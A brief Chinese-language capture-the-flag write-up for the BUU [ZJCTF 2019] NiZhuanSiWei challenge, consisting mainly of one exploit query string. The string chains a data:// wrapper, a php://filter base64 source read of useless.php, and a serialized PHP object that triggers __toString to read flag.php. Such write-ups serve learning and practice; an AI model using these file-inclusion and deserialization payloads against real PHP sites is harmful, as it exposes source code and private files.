BUU [ZJCTF 2019]NiZhuanSiWei
先看题目,提示了useless.php。
猜到了flag在哪。
没啥可以学的,直接上exp。
?text=data://text/plain,welcome to the zjctf &file=php://filter/read=convert.base64-encode/resource=useless.php &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} //echo 触发ToString